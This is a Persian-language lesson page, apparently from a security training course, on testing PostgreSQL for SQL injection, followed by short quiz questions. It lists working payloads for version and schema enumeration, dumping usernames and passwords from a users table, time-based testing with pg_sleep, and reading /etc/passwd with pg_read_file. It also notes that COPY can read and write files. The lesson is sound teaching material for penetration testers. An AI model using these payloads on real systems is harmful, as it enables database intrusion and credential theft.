در حال بارگذاری...
تست تزریق SQL در پایگاه داده PostgreSQL با تکنیکها و payloadهای خاص این پایگاه داده.
اهداف این درس
PostgreSQL یکی از قدرتمندترین پایگاههای داده متنباز است. ویژگیهای خاص PostgreSQL مثل pg_catalog، COPY و PL/pgSQL تکنیکهای خاصی نیاز دارند.
1-- شناسایی نسخه2' UNION SELECT version() --34-- لیست جداول5' UNION SELECT table_name FROM information_schema.tables --67-- لیست ستونها8' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --910-- استخراج داده11' UNION SELECT username||':'||password FROM users --1213-- تست time-based14'; SELECT pg_sleep(5) --1516-- خواندن فایل17' UNION SELECT pg_read_file('/etc/passwd') --PostgreSQL از pg_catalog برای metadata استفاده میکند.
COPY TO/FROM میتواند برای خواندن/نوشتن فایل استفاده شود.
PL/pgSQL زبان procedural PostgreSQL است.
در PostgreSQL، از کدام schema برای استخراج metadata استفاده میشود؟
ویژگی خاص PostgreSQL در SQL Injection چیست؟
PostgreSQL از pg_catalog برای metadata استفاده میکند و تابع COPY TO/FROM میتواند برای خواندن فایلها استفاده شود.